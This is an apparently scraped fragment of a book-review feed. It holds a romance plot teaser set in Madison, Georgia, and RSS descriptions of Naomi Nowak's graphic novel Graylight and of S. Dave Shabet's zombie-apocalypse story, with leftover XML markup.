Keeley Murdock is an interior designer in the small down of Madison, Georgia. It&#8217;s the rehearsal dinner for her marriage to a rich, influential young man from a good family.

I loved that so much that I immediately set my sights on the only other book under this name.

		<description><![CDATA[The field of comics, also sometimes known as graphic novels, is dominated by male creators and readers. However, there's been increasing push in the last few decades by women to enter the field and make their mark. Though comics drawn by women are gaining popularity, most are classified as "indie," distributed by small publishers that may not be able to advertise or place volumes in prominent bookstores. Naomi Nowak's most recent graphic novel, Graylight, is designated indie, though it deserves to be appreciated by a wider audience.]]></description>

		<description><![CDATA[Zombie apocalypse. The scenario has been reworked again and again, and has become pretty predictable. Something spreads through the population, turning almost everyone into shambling, undead creatures in search of braaaaains. A ragtag group of unlikely companions hole up together to beat back the hoard. The odds are stacked heavily against them.

Luckily, S. Dave Shabet has put a new spin on the old story. He's got one hell of a framing device.]]></description>
